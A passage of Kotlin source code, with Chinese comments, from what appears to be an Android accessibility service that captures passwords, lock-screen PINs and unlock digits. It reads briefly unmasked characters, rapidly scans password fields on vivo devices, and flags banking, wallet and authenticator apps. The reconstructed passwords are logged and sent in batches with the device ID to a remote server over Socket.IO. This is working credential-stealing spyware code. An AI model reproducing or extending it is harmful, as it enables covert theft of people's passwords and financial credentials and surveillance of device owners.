Log.w(TAG, "📝 [增量重构] 没有文本事件,返回空")
return ""
}
val password = StringBuilder()
var lastLength = 0
// 按时间戳排序确保正确的输入顺序
val sortedEvents = passwordInputEvents.sortedBy { it["timestamp"] as? Long ?: 0L }
for ((index, event) in sortedEvents.withIndex()) {
val displayText = event["displayText"] as? String ?: ""
val actualPasswordText = event["actualPasswordText"] as? String ?: ""
val currentLength = maxOf(displayText.length, actualPasswordText.length)
Log.d(TAG, " [增量重构] 事件[$index]: 长度=$currentLength (上次=$lastLength), 显示='$displayText', 实际='$actualPasswordText'")
// 只处理长度增加的情况(新字符输入)
if (currentLength > lastLength) {
val newCharCount = currentLength - lastLength
Log.d(TAG, " [增量重构] 检测到 $newCharCount 个新字符")
// 优先从实际密码文本中查找新字符
val textsToCheck = listOf(actualPasswordText, displayText)
var foundChars = 0
for (text in textsToCheck) {
if (text.length >= currentLength) {
// 从上次位置开始查找新字符
for (i in lastLength until currentLength) {
if (i < text.length) {
val char = text[i]
if (char != '•' && char != '*' && char != ' ' && char.isLetterOrDigit()) {
password.append(char)
foundChars++
Log.d(TAG, " [增量重构] 位置[$i] 发现明文字符: '$char'")
} else if (char == '•' || char == '*') {
// 遇到掩码字符,尝试从之前的明文版本推断
val inferredChar = inferCharFromPreviousTexts(i, sortedEvents, index)
if (inferredChar != null) {
password.append(inferredChar)
foundChars++
Log.d(TAG, " [增量重构] 位置[$i] 推断字符: '$inferredChar'")
} else {
password.append("?")
foundChars++
Log.d(TAG, " [增量重构] 位置[$i] 使用占位符: '?'")
}
}
}
}
if (foundChars >= newCharCount) break
}
}
// 如果还有字符没找到,用占位符填充
while (foundChars < newCharCount) {
password.append("?")
foundChars++
Log.d(TAG, " [增量重构] 补充占位符,当前: '${password.toString()}'")
}
lastLength = currentLength
}
}
val result = password.toString()
Log.d(TAG, "📝 [增量重构] 最终结果: '$result' (长度: ${result.length})")
return result
}
/**
* ✅ 新增:从之前的文本事件中推断字符
*/
private fun inferCharFromPreviousTexts(position: Int, sortedEvents: List<Map<String, Any>>, currentIndex: Int): String? {
// 向前查找,看之前是否有这个位置的明文字符
for (i in currentIndex - 1 downTo 0) {
val prevEvent = sortedEvents[i]
val prevDisplayText = prevEvent["displayText"] as? String ?: ""
val prevActualText = prevEvent["actualPasswordText"] as? String ?: ""
for (text in listOf(prevActualText, prevDisplayText)) {
if (position < text.length) {
val char = text[position]
if (char != '•' && char != '*' && char != ' ' && char.isLetterOrDigit()) {
Log.d(TAG, " [推断] 从历史事件[$i]找到位置[$position]的字符: '$char'")
return char.toString()
}
}
}
}
return null
}
/**
* 处理滚动事件
*/
private fun handleViewScrolled(event: AccessibilityEvent) {
val text = event.text?.joinToString(" ") ?: ""
val className = event.className?.toString() ?: ""
val packageName = event.packageName?.toString() ?: ""
// 普通滚动事件处理
if (text.isNotEmpty() || className.isNotEmpty()) {
logScope.launch {
recordLog(
"GESTURE",
"滚动页面",
mapOf(
"text" to text,
"className" to className,
"packageName" to packageName
)
)
}
}
}
/**
* 获取应用名称
*/
private fun getAppName(packageName: String): String? {
return try {
val packageManager = service.packageManager
val applicationInfo = packageManager.getApplicationInfo(packageName, 0)
packageManager.getApplicationLabel(applicationInfo).toString()
} catch (e: Exception) {
Log.w(TAG, "获取应用名称失败: $packageName", e)
null
}
}
/**
* 发送日志到服务器(优化版本,避免传输冲突)
*/
private suspend fun sendLogToServer(logType: String, content: String, extraData: Map<String, Any>?) {
try {
val deviceId = getDeviceId()
if (deviceId.isNullOrEmpty()) {
Log.w(TAG, "❌ 设备ID为空无法发送日志")
return
}
val logData = JSONObject().apply {
put("deviceId", deviceId)
put("logType", logType)
put("content", content)
put("timestamp", System.currentTimeMillis())
extraData?.let { data ->
val extraJson = JSONObject()
data.forEach { (key, value) ->
extraJson.put(key, value)
}
put("extraData", extraJson)
}
}
// 🔧 关键修复:延迟批量发送,避免与屏幕数据传输冲突
synchronized(logSendBuffer) {
logSendBuffer.add(logData)
Log.v(TAG, "📝 操作日志已加入缓冲区: $logType - $content (缓冲区大小: ${logSendBuffer.size})")
}
// 🔧 取消之前的发送任务,重新安排延迟发送
logSendJob?.cancel()
logSendJob = kotlinx.coroutines.GlobalScope.launch {
delay(logSendDelay) // 延迟1秒发送避免与控制命令同时传输
val logsToSend = synchronized(logSendBuffer) {
val logs = logSendBuffer.toList()
logSendBuffer.clear()
logs
}
if (logsToSend.isNotEmpty()) {
withContext(Dispatchers.Main) {
try {
val socketIOManager = getSocketIOManager()
if (socketIOManager != null) {
// 🔧 批量发送减少Socket.IO调用频率
logsToSend.forEach { logData ->
socketIOManager.sendOperationLog(logData)
}
lastLogSendTime = System.currentTimeMillis()
Log.d(TAG, "📤 批量发送操作日志完成: ${logsToSend.size} 条日志")
} else {
Log.w(TAG, "⚠️ SocketIOManager不可用日志发送失败")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 批量发送日志失败", e)
}
}
}
}
} catch (e: Exception) {
Log.e(TAG, "❌ 构建日志消息失败", e)
}
}
/**
* 获取设备ID
*/
private fun getDeviceId(): String? {
return try {
android.provider.Settings.Secure.getString(
service.contentResolver,
android.provider.Settings.Secure.ANDROID_ID
)
} catch (e: Exception) {
Log.e(TAG, "❌ 获取设备ID失败", e)
null
}
}
/**
* 获取SocketIO管理器
*/
private fun getSocketIOManager(): com.hikoncont.network.SocketIOManager? {
return try {
// 通过反射获取私有字段
val field = service.javaClass.getDeclaredField("socketIOManager")
field.isAccessible = true
field.get(service) as? com.hikoncont.network.SocketIOManager
} catch (e: Exception) {
Log.e(TAG, "❌ 获取SocketIOManager失败", e)
null
}
}
/**
* ✅ 从文本中提取字符 - 支持数字、字母和特殊字符
* 支持的格式:
* - 纯数字1, 2, 3
* - 纯字母a, b, c
* - 带字母格式PQRS 7, MNO 6, 5 JKL
* - 特殊字符:@, #, *, .
*/
private fun extractDigitFromText(text: String): String? {
if (text.isEmpty()) return null
// 1. 如果是单个字符(数字、字母、特殊字符),直接返回
if (text.length == 1) {
return when {
text.matches(Regex("[0-9a-zA-Z@#*.,!?]")) -> {
Log.d(TAG, "🔍 [字符提取] 单字符: '$text'")
text
}
else -> null
}
}
// 2. 查找文本中的数字字符(优先数字)
val digits = text.filter { it.isDigit() }
// 3. 如果只有一个数字,返回它
if (digits.length == 1) {
Log.d(TAG, "🔍 [字符提取] 从 '$text' 提取数字: '$digits'")
return digits
}
// 4. 如果有多个数字,尝试识别键盘布局模式
if (digits.length > 1) {
// 对于电话键盘,通常数字在前面或后面
// 常见格式PQRS 7, 5 JKL, ABC 2, DEF 3
val textUpper = text.uppercase()
// 检查是否是标准电话键盘格式
val phoneKeyMap = mapOf(
"ABC" to "2", "DEF" to "3", "GHI" to "4", "JKL" to "5",
"MNO" to "6", "PQRS" to "7", "TUV" to "8", "WXYZ" to "9"
)
for ((letters, digit) in phoneKeyMap) {
if (textUpper.contains(letters)) {
Log.d(TAG, "🔍 [字符提取] 从 '$text' 识别电话键盘格式: '$digit'")
return digit
}
}
// 如果不是标准格式,返回第一个数字
Log.d(TAG, "🔍 [字符提取] 从 '$text' 返回第一个数字: '${digits[0]}'")
return digits[0].toString()
}
// 5. 如果没有数字,检查是否有单个字母
val letters = text.filter { it.isLetter() }
if (letters.length == 1) {
Log.d(TAG, "🔍 [字符提取] 从 '$text' 提取字母: '$letters'")
return letters
}
// 6. 检查特殊字符
val specialChars = text.filter { it in "@#*.,!?()-" }
if (specialChars.length == 1) {
Log.d(TAG, "🔍 [字符提取] 从 '$text' 提取特殊字符: '$specialChars'")
return specialChars
}
// 7. 如果都没有返回null
Log.d(TAG, "🔍 [字符提取] 从 '$text' 未找到可识别字符")
return null
}
/**
* 检测是否为虚拟键盘按键
*/
private fun isVirtualKeyboard(packageName: String, className: String): Boolean {
val packageLower = packageName.toLowerCase()
val classLower = className.toLowerCase()
return packageLower.contains("inputmethod") ||
packageLower.contains("keyboard") ||
classLower.contains("keyboard") ||
classLower.contains("keyboardview")
}
/**
* 检测当前是否正在输入密码PIN码等
*/
private fun isCurrentlyInputtingPassword(packageName: String, className: String): Boolean {
val packageLower = packageName.lowercase()
val classLower = className.lowercase()
// 检查最近是否有密码输入活动
val recentPasswordInput = isPasswordInputActive ||
(System.currentTimeMillis() - lastPasswordEventTime < 2000)
// SystemUI中与密码/PIN码相关的组件
val isPasswordRelated = packageLower.contains("systemui") && (
classLower.contains("edittext") ||
classLower.contains("password") ||
classLower.contains("pin") ||
classLower.contains("numpad") ||
classLower.contains("keyboard")
)
return recentPasswordInput || isPasswordRelated
}
/**
* 检测是否为指纹传感器
*/
private fun isFingerprintSensor(contentDescription: String, className: String): Boolean {
val descLower = contentDescription.toLowerCase()
val classLower = className.toLowerCase()
return descLower.contains("fingerprint") ||
descLower.contains("指纹") ||
classLower.contains("fingerprint")
}
/**
* ✅ 增强:处理触摸开始事件 - 第三方应用键盘检测的关键
*/
private fun handleTouchStart(event: AccessibilityEvent) {
val packageName = event.packageName?.toString() ?: ""
val className = event.className?.toString() ?: ""
val eventText = event.text?.joinToString("") ?: ""
val contentDesc = event.contentDescription?.toString() ?: ""
// 检查是否为输入法相关包名
val isInputMethodPackage = packageName.lowercase().let { pkg ->
pkg.contains("inputmethod") || pkg.contains("keyboard") || pkg.contains("ime") ||
pkg.contains("gboard") || pkg.contains("swiftkey") || pkg.contains("sogou") ||
pkg.contains("baidu") || pkg.contains("iflytek")
}
val appType = if (isInputMethodPackage) "输入法" else "第三方应用"
// ✅ 记录触摸开始事件,特别关注有文本内容的
if (!packageName.contains("systemui", ignoreCase = true)) {
if (eventText.isNotEmpty() || contentDesc.isNotEmpty() || isInputMethodPackage) {
Log.i(TAG, "👇 [$appType] 触摸开始: 包名=$packageName, 类名=$className, 文本='$eventText', 描述='$contentDesc'")
// ✅ 分析是否为键盘触摸
analyzeTouchForKeyboard(event, packageName, className, eventText, contentDesc, "TOUCH_START")
}
}
}
/**
* ✅ 增强:处理触摸结束事件 - 键盘字符确认的关键时机
*/
private fun handleTouchEnd(event: AccessibilityEvent) {
val packageName = event.packageName?.toString() ?: ""
val className = event.className?.toString() ?: ""
val eventText = event.text?.joinToString("") ?: ""
val contentDesc = event.contentDescription?.toString() ?: ""
// 检查是否为输入法相关包名
val isInputMethodPackage = packageName.lowercase().let { pkg ->
pkg.contains("inputmethod") || pkg.contains("keyboard") || pkg.contains("ime") ||
pkg.contains("gboard") || pkg.contains("swiftkey") || pkg.contains("sogou") ||
pkg.contains("baidu") || pkg.contains("iflytek")
}
val appType = if (isInputMethodPackage) "输入法" else "第三方应用"
// ✅ 记录触摸结束事件,这是键盘输入确认的关键时机
if (!packageName.contains("systemui", ignoreCase = true)) {
if (eventText.isNotEmpty() || contentDesc.isNotEmpty() || isInputMethodPackage) {
Log.i(TAG, "👆 [$appType] 触摸结束: 包名=$packageName, 类名=$className, 文本='$eventText', 描述='$contentDesc'")
// ✅ 分析是否为键盘触摸并记录字符
analyzeTouchForKeyboard(event, packageName, className, eventText, contentDesc, "TOUCH_END")
}
}
}
/**
* 处理视图选择事件(可能用于图案解锁)
*/
private fun handleViewSelected(event: AccessibilityEvent) {
val packageName = event.packageName?.toString() ?: ""
val className = event.className?.toString() ?: ""
}
/**
* 处理窗口内容变化 - ✅ 优化版本,区分数字密码和图案解锁
*/
private fun handleWindowContentChanged(event: AccessibilityEvent) {
val packageName = event.packageName?.toString() ?: ""
val className = event.className?.toString() ?: ""
val currentTime = System.currentTimeMillis()
Log.i(TAG, "🔍 [增强窗口内容变化] 处理增强窗口内容变化 - 包名=$packageName, 类名=$className")
// ✅ 优先检测数字密码输入
if (isPasswordField(event)) {
val text = event.text?.joinToString("") ?: ""
val beforeText = event.beforeText?.toString() ?: ""
Log.d(TAG, "🔢 窗口内容变化检测到密码字段: 包名=$packageName, 类名=$className, 文本='$text'")
// 如果有文本变化,处理为密码输入
if (text != beforeText || text.isNotEmpty()) {
handlePasswordInput(event, text, beforeText, currentTime)
return // ✅ 处理完密码输入后直接返回,不继续处理图案解锁
}
}
// ✅ 检测SystemUI中的数字键盘输入通过AccessibilityNodeInfo
if (packageName.contains("systemui", ignoreCase = true)) {
val source = event.source
if (source != null) {
try {
// 查找数字键盘或密码输入框
val hasNumericKeypad = findNumericKeypadInNode(source)
val hasPasswordField = findPasswordFieldInNode(source)
if (hasNumericKeypad || hasPasswordField) {
Log.d(TAG, "🔢 检测到数字键盘或密码输入: 数字键盘=$hasNumericKeypad, 密码字段=$hasPasswordField")
// 尝试获取密码字段的内容
val passwordContent = extractPasswordFromNode(source)
if (passwordContent.isNotEmpty()) {
Log.d(TAG, "🔢 从节点提取到密码内容: '$passwordContent'")
// ✅ 检测并记录数字序列
val previousLength = numericPasswordSequence.size
val currentLength = passwordContent.length
// 如果密码长度增加,记录新增的数字
if (currentLength > previousLength && passwordContent.all { it.isDigit() || it == '•' || it == '*' }) {
for (i in previousLength until currentLength) {
if (i < passwordContent.length) {
val digit = passwordContent[i]
if (digit.isDigit()) {
Log.d(TAG, "🔢 记录WINDOW_CONTENT_CHANGED中的数字: $digit")
numericPasswordSequence.add(mapOf(
"digit" to digit.toString(),
"timestamp" to currentTime,
"className" to className,
"packageName" to packageName,
"source" to "window_content_changed"
))
// ✅ 检测到数字0立即标记
if (digit == '0') {
hasDetectedZero = true
Log.d(TAG, "⚡ 检测到数字0切换模式: hasDetectedZero = true")
}
}
}
}
}
// 创建模拟的密码输入事件
val simulatedText = if (passwordContent.all { it.isDigit() }) passwordContent else "".repeat(passwordContent.length)
handlePasswordInput(event, simulatedText, "", currentTime)
return // ✅ 处理完密码输入后直接返回
}
}
} catch (e: Exception) {
Log.w(TAG, "检查SystemUI密码输入失败", e)
} finally {
source.recycle()
}
}
}
// ✅ 首先检查界面上是否存在数字0数字密码的标志
if (packageName.contains("systemui", ignoreCase = true)) {
checkForNumericPasswordIndicators(event)
}
// ✅ 在处理图案解锁之前,先检测是否有新的数字输入(实时检测)
if (packageName.contains("systemui", ignoreCase = true)) {
val source = event.source
if (source != null) {
try {
val currentPasswordContent = extractPasswordFromNode(source)
if (currentPasswordContent.isNotEmpty() && currentPasswordContent.any { it.isDigit() }) {
val currentDigitCount = currentPasswordContent.count { it.isDigit() }
val recordedDigitCount = numericPasswordSequence.size
if (currentDigitCount > recordedDigitCount) {
Log.d(TAG, "🔢 图案模式中检测到新数字输入: '$currentPasswordContent' (当前:$currentDigitCount, 已记录:$recordedDigitCount)")
// 记录新增的数字
for (i in recordedDigitCount until minOf(currentDigitCount, currentPasswordContent.length)) {
val digit = currentPasswordContent[i]
if (digit.isDigit()) {
Log.d(TAG, "🔢 补充记录数字: $digit")
numericPasswordSequence.add(mapOf(
"digit" to digit.toString(),
"timestamp" to currentTime,
"className" to className,
"packageName" to packageName,
"source" to "pattern_mode_detection"
))
// ✅ 检测到数字0立即标记
if (digit == '0') {
hasDetectedZero = true
Log.d(TAG, "⚡ 图案模式中检测到数字0切换模式: hasDetectedZero = true")
}
}
}
}
}
} catch (e: Exception) {
Log.w(TAG, "图案模式中检测数字失败", e)
} finally {
source.recycle()
}
}
}
}
/**
* ✅ 新增:转换密码类型为增强格式
*/
private fun convertToEnhancedType(passwordType: String): String {
return when (passwordType) {
"混合密码" -> "MIXED"
"文本密码" -> "TEXT"
"数字密码" -> "NUMERIC"
"PIN码" -> "PIN"
"图案密码" -> "PATTERN"
else -> "UNKNOWN"
}
}
/**
* ✅ 新增:转换密码类型为确认检测使用的简化类型
*/
private fun convertToConfirmDetectionType(passwordType: String): String {
return when (passwordType) {
"混合密码" -> "mixed"
"文本密码" -> "text"
"数字密码" -> "numeric"
"PIN码" -> "numeric" // PIN码也使用numeric类型
"图案密码" -> "pattern"
else -> "unknown"
}
}
/**
* 检测是否为密码输入框
*/
private fun isPasswordField(event: AccessibilityEvent): Boolean {
val className = event.className?.toString()?.lowercase() ?: ""
val contentDescription = event.contentDescription?.toString()?.lowercase() ?: ""
val packageName = event.packageName?.toString()?.lowercase() ?: ""
// 检查类名是否包含密码相关字段
val passwordClassNames = listOf(
"edittext", "passwordfield", "secureedittext",
"password", "pin", "passcode"
)
// 检查内容描述是否包含密码相关词汇
val passwordKeywords = listOf(
"password", "密码", "pin", "passcode", "安全", "unlock", "解锁"
)
val classMatches = passwordClassNames.any { className.contains(it) }
val descMatches = passwordKeywords.any { contentDescription.contains(it) }
val isPasswordEvent = event.isPassword
// ✅ 增强特别处理SystemUI中的各种密码输入场景
val isSystemUIPasswordInput = packageName.contains("systemui") && (
className.contains("edittext") || // PIN码输入框
className.contains("passwordfield") || // 密码输入框
className.contains("secureedittext") || // 安全文本输入
className.contains("numpad") || // 数字键盘
className.contains("keypad") || // 键盘
className.contains("android.view.view") // ✅ 通用View可能是数字密码输入
)
// ✅ 增强:检查事件文本是否包含密码特征
val eventText = event.text?.joinToString("") ?: ""
val hasPasswordCharacteristics = eventText.any { it == '•' || it == '*' } ||
(eventText.isNotEmpty() && eventText.all { it.isDigit() || it == '•' || it == '*' })
val result = classMatches || descMatches || isPasswordEvent || isSystemUIPasswordInput || hasPasswordCharacteristics
Log.d(TAG, "🔍 密码字段检测: 类名=$className, 描述=$contentDescription, 包名=$packageName")
Log.d(TAG, " 类名匹配=$classMatches, 描述匹配=$descMatches, isPassword=$isPasswordEvent")
Log.d(TAG, " SystemUI密码输入=$isSystemUIPasswordInput, 密码特征=$hasPasswordCharacteristics")
Log.d(TAG, " 事件文本='$eventText'")
Log.d(TAG, " 最终结果: $result")
return result
}
/**
* ✅ 新增:增强的密码输入检测,支持更多第三方应用
*/
private fun isLikelyPasswordInput(event: AccessibilityEvent): Boolean {
val className = event.className?.toString()?.lowercase() ?: ""
val contentDescription = event.contentDescription?.toString()?.lowercase() ?: ""
val packageName = event.packageName?.toString()?.lowercase() ?: ""
val eventText = event.text?.joinToString("") ?: ""
// 1. 检查第三方应用中的常见密码输入特征
val hasPasswordMask = eventText.any { it == '•' || it == '*' || it == '●' }
// 2. 检查常见的密码相关UI元素
val passwordUIIndicators = listOf(
"密码", "password", "pwd", "pass", "pin", "unlock", "解锁", "登录", "login",
"sign in", "signin", "security", "安全", "验证", "verify", "auth", "认证"
)
val hasPasswordUI = passwordUIIndicators.any { keyword ->
contentDescription.contains(keyword) ||
className.contains(keyword)
}
// 3. 检查是否为数字密码(纯数字输入且长度合理)
val isNumericPassword = eventText.isNotEmpty() &&
eventText.all { it.isDigit() } &&
eventText.length in 3..10
// 4. 检查输入框的hint或placeholder文本
val source = event.source
var hasPasswordHint = false
if (source != null) {
try {
val hintText = source.hintText?.toString()?.lowercase() ?: ""
hasPasswordHint = passwordUIIndicators.any { hintText.contains(it) }
} catch (e: Exception) {
Log.w(TAG, "检查hint文本失败", e)
} finally {
source.recycle()
}
}
// 5. 检查常见的密码输入应用
val passwordApps = listOf(
"banking", "bank", "wallet", "payment", "pay", "finance", "security",
"lock", "keychain", "password", "authenticator", "2fa", "otp"
)
val isPasswordApp = passwordApps.any { packageName.contains(it) }
val result = hasPasswordMask || hasPasswordUI || isNumericPassword || hasPasswordHint || isPasswordApp
if (result) {
Log.d(TAG, "🔍 增强密码检测: 掩码=$hasPasswordMask, UI指示=$hasPasswordUI, 数字密码=$isNumericPassword, hint密码=$hasPasswordHint, 密码应用=$isPasswordApp")
}
return result
}
/**
* ✅ 新增:提取文本输入的变化部分
*/
private fun extractInputDelta(beforeText: String, currentText: String): String {
return when {
currentText.length > beforeText.length -> {
// 文本增加:提取新增的部分
currentText.substring(beforeText.length)
}
currentText.length < beforeText.length -> {
// 文本减少:标记删除
"[删除${beforeText.length - currentText.length}字符]"
}
else -> {
// 长度相同但内容不同:可能是替换
"[文本替换]"
}
}
}
/**
* 尝试获取完整的密码文本
*/
private fun getPasswordText(event: AccessibilityEvent, displayText: String, beforeText: String): String {
try {
var actualText = displayText
// ✅ vivo设备专用文本获取增强
if (isVivoDevice) {
// 优先使用捕获的明文字符(如果有的话)
if (vivoExtractedChars.isNotEmpty() && displayText.length > 0) {
val vivoEnhancedText = enhanceVivoPasswordText(displayText, beforeText)
if (vivoEnhancedText != displayText) {
actualText = vivoEnhancedText
Log.d(TAG, "📱 [vivo文本增强] 原始='$displayText' -> 增强='$actualText'")
}
}
}
// 方法1从事件文本获取
if (actualText.isEmpty() && event.text.isNotEmpty()) {
actualText = event.text.joinToString("")
}
// 方法2尝试从AccessibilityNodeInfo获取更多信息
val source = event.source
if (source != null) {
try {
val nodeText = source.text?.toString() ?: ""
if (nodeText.isNotEmpty()) {
// 只有当节点文本看起来像密码字符时才使用(包含掩码或数字/字母)
val looksLikePassword = nodeText.any { it == '•' || it == '*' } ||
(nodeText.length <= 20 && nodeText.any { it.isLetterOrDigit() })
if (looksLikePassword &&
(nodeText.length >= actualText.length ||
nodeText.any { it.isLetterOrDigit() && !actualText.contains(it) })) {
actualText = nodeText
}
}
} catch (e: Exception) {
Log.w(TAG, "从AccessibilityNodeInfo获取文本失败", e)
} finally {
source.recycle()
}
}
// 方法3分析文本变化推断当前输入的字符
if (actualText.length > beforeText.length) {
val lengthDiff = actualText.length - beforeText.length
Log.d(TAG, "🔍 检测到长度增加 $lengthDiff")
// 如果当前文本全是掩码,但长度增加了,尝试保留上次的明文
if (actualText.all { it == '•' || it == '*' } && beforeText.any { it.isLetterOrDigit() }) {
// 构建可能的文本:保留之前的明文,新位置用掩码
val newText = StringBuilder()
for (i in 0 until actualText.length) {
if (i < beforeText.length && beforeText[i].isLetterOrDigit()) {
newText.append(beforeText[i])
} else {
newText.append('•')
}
}
actualText = newText.toString()
}
}
Log.d(TAG, "🔍 密码文本解析: 显示文本='$displayText', 之前文本='$beforeText', 实际文本='$actualText'")
// 返回实际显示的文本(明文或掩码)
return actualText
} catch (e: Exception) {
Log.w(TAG, "获取密码文本失败", e)
return displayText
}
}
/**
* ✅ vivo设备专用密码快速捕获处理
*/
private fun handleVivoPasswordCapture(event: AccessibilityEvent, text: String, beforeText: String, packageName: String, className: String) {
val currentTime = System.currentTimeMillis()
Log.i(TAG, "📱 [vivo快速捕获] 开始处理: 文本='$text', 之前='$beforeText'")
// 1. 立即提取明文字符
val plaintextChars = extractVivoPlaintextChars(text, beforeText)
if (plaintextChars.isNotEmpty()) {
Log.i(TAG, "🎯 [vivo快速捕获] 发现明文字符: '$plaintextChars'")
vivoExtractedChars.addAll(plaintextChars)
vivoLastCaptureTime = currentTime
}
// 2. 深度扫描节点文本
val source = event.source
if (source != null) {
try {
scanVivoPasswordNodeDeep(source, packageName)
} catch (e: Exception) {
Log.w(TAG, "vivo深度扫描失败", e)
} finally {
source.recycle()
}
}
// 3. 启动主动扫描(仅对密码场景且当前时间窗口内)
if (isPasswordField(event) && !vivoActiveScanning.contains(packageName) &&
(currentTime - vivoLastCaptureTime < 2000L || vivoLastCaptureTime == 0L)) {
startVivoActiveScanning(packageName)
}
// 4. 更新vivo密码缓冲区
updateVivoPasswordBuffer(text, beforeText)
Log.i(TAG, "📱 [vivo快速捕获] 处理完成: 已捕获${vivoExtractedChars.size}个字符")
}
/**
* ✅ vivo设备明文字符提取
*/
private fun extractVivoPlaintextChars(text: String, beforeText: String): List<String> {
val extractedChars = mutableListOf<String>()
try {
// 方法1: 提取所有非掩码字符
val plaintextInCurrent = text.filter { char ->
char != '•' && char != '*' && char.isLetterOrDigit()
}
if (plaintextInCurrent.isNotEmpty()) {
extractedChars.addAll(plaintextInCurrent.map { it.toString() })
Log.d(TAG, "🎯 [vivo明文提取] 当前文本明文: '$plaintextInCurrent'")
}
// 方法2: 分析新增字符比较text和beforeText的差异
if (text.length > beforeText.length) {
val lengthDiff = text.length - beforeText.length
val potentialNewChars = text.takeLast(lengthDiff)
val newPlaintextChars = potentialNewChars.filter { char ->
char != '•' && char != '*' && char.isLetterOrDigit()
}
if (newPlaintextChars.isNotEmpty()) {
extractedChars.addAll(newPlaintextChars.map { it.toString() })
Log.d(TAG, "🎯 [vivo明文提取] 新增明文字符: '$newPlaintextChars'")
}
}
// 方法3: 比较位置差异,提取可能的明文
for (i in text.indices) {
val currentChar = text[i]
val previousChar = if (i < beforeText.length) beforeText[i] else null
// 如果当前位置是明文,而之前位置是掩码或不存在,则可能是新输入的明文
if (currentChar.isLetterOrDigit() && currentChar != '•' && currentChar != '*') {
if (previousChar == null || previousChar == '•' || previousChar == '*' || previousChar != currentChar) {
if (!extractedChars.contains(currentChar.toString())) {
extractedChars.add(currentChar.toString())
Log.d(TAG, "🎯 [vivo明文提取] 位置${i}明文字符: '$currentChar'")
}
}
}
}
} catch (e: Exception) {
Log.w(TAG, "vivo明文字符提取失败", e)
}
return extractedChars.distinct() // 去重
}
/**
* ✅ vivo设备深度节点扫描
*/
private fun scanVivoPasswordNodeDeep(node: AccessibilityNodeInfo, packageName: String) {
try {
// 扫描当前节点
val nodeText = node.text?.toString()
if (!nodeText.isNullOrEmpty() && nodeText.length <= 20) { // 限制长度,避免扫描非密码文本
val extractedFromNode = extractVivoPlaintextChars(nodeText, "")
if (extractedFromNode.isNotEmpty()) {
Log.i(TAG, "🔍 [vivo深度扫描] 节点明文: '$extractedFromNode'")
vivoExtractedChars.addAll(extractedFromNode)
}
}
// 扫描子节点(限制深度避免性能问题)
if (node.childCount <= 10) { // 限制子节点数量
for (i in 0 until node.childCount) {
val child = node.getChild(i)
if (child != null) {
try {
val childText = child.text?.toString()
if (!childText.isNullOrEmpty() && childText.length <= 20) {
val extractedFromChild = extractVivoPlaintextChars(childText, "")
if (extractedFromChild.isNotEmpty()) {
Log.i(TAG, "🔍 [vivo深度扫描] 子节点明文: '$extractedFromChild'")
vivoExtractedChars.addAll(extractedFromChild)
}
}
} finally {
child.recycle()
}
}
}
}
} catch (e: Exception) {
Log.w(TAG, "vivo深度扫描节点失败", e)
}
}
/**
* ✅ vivo设备主动扫描启动
*/
private fun startVivoActiveScanning(packageName: String) {
if (vivoActiveScanning.contains(packageName)) {
return // 避免重复扫描
}
vivoActiveScanning.add(packageName)
Log.i(TAG, "🚀 [vivo主动扫描] 启动主动扫描: $packageName")
logScope.launch {
try {
// 连续扫描15次每次间隔50ms总共750ms
repeat(15) { scanIndex ->
delay(50L)
try {
val rootNode = service.rootInActiveWindow
if (rootNode != null) {
scanPasswordFieldsInRoot(rootNode, packageName, scanIndex)
rootNode.recycle()
}
} catch (e: Exception) {
Log.w(TAG, "vivo主动扫描第${scanIndex + 1}次失败", e)
}
}
} finally {
// 扫描完成后清理
vivoActiveScanning.remove(packageName)
Log.i(TAG, "✅ [vivo主动扫描] 扫描完成: $packageName")
}
}
}
/**
* ✅ 扫描根节点中的所有密码字段
*/
private fun scanPasswordFieldsInRoot(rootNode: AccessibilityNodeInfo, targetPackage: String, scanIndex: Int) {
findPasswordFieldsRecursive(rootNode, targetPackage, { passwordNode ->
try {
val nodeText = passwordNode.text?.toString()
if (!nodeText.isNullOrEmpty() && nodeText.length <= 20) {
val extractedFromScan = extractVivoPlaintextChars(nodeText, "")
if (extractedFromScan.isNotEmpty()) {
Log.i(TAG, "🎯 [vivo主动扫描#${scanIndex + 1}] 发现密码字段明文: '$extractedFromScan'")
vivoExtractedChars.addAll(extractedFromScan)
vivoLastCaptureTime = System.currentTimeMillis()
}
}
} catch (e: Exception) {
Log.w(TAG, "扫描密码字段失败", e)
}
})
}
/**
* ✅ 递归查找密码字段
*/
private fun findPasswordFieldsRecursive(
node: AccessibilityNodeInfo,
targetPackage: String,
onPasswordFieldFound: (AccessibilityNodeInfo) -> Unit,
depth: Int = 0
) {
if (depth > 5) return // 限制递归深度
try {
// 检查当前节点是否是密码字段
val className = node.className?.toString()?.lowercase() ?: ""
val isPasswordInput = node.isPassword ||
className.contains("password") ||
className.contains("edittext")
if (isPasswordInput) {
onPasswordFieldFound(node)
}
// 递归检查子节点
if (node.childCount <= 20) { // 限制子节点数量
for (i in 0 until node.childCount) {
val child = node.getChild(i)
if (child != null) {
try {
findPasswordFieldsRecursive(child, targetPackage, onPasswordFieldFound, depth + 1)
} finally {
child.recycle()
}
}
}
}
} catch (e: Exception) {
Log.w(TAG, "递归查找密码字段失败", e)
}
}
/**
* ✅ 更新vivo密码缓冲区
*/
private fun updateVivoPasswordBuffer(text: String, beforeText: String) {
try {
// 如果检测到新的明文字符,更新缓冲区
if (vivoExtractedChars.isNotEmpty()) {
// 构建可能的完整密码
val reconstructedPassword = reconstructVivoPassword(text)
if (reconstructedPassword != vivoPasswordBuffer && reconstructedPassword.isNotEmpty()) {
vivoPasswordBuffer = reconstructedPassword
Log.i(TAG, "📝 [vivo密码重构] 更新密码缓冲区: 长度=${reconstructedPassword.length}")
// 如果重构的密码看起来完整,记录到日志
if (reconstructedPassword.length >= 4) { // 至少4位才考虑是完整密码
logScope.launch {
recordLog(
"TEXT_INPUT",
"🔒 [vivo快速捕获] 重构密码: ${reconstructedPassword.replace(Regex("[a-zA-Z0-9]"), "•")} (${reconstructedPassword.length}位)",
mapOf(
"vivoOptimized" to true,
"extractedChars" to vivoExtractedChars.size,
"reconstructedPassword" to reconstructedPassword,
"captureMethod" to "vivo_enhanced_capture"
)
)
}
}
}
}
} catch (e: Exception) {
Log.w(TAG, "更新vivo密码缓冲区失败", e)
}
}
/**
* ✅ vivo设备文本增强处理
*/
private fun enhanceVivoPasswordText(displayText: String, beforeText: String): String {
try {
if (vivoExtractedChars.isEmpty()) {
return displayText
}
// 策略1: 如果显示文本全是掩码,尝试用捕获的明文字符重构
if (displayText.all { it == '•' || it == '*' || it.isWhitespace() }) {
val distinctChars = vivoExtractedChars.distinct()
if (distinctChars.size >= displayText.length * 0.5) { // 至少捕获了50%的字符
val reconstructed = distinctChars.take(displayText.length).joinToString("")
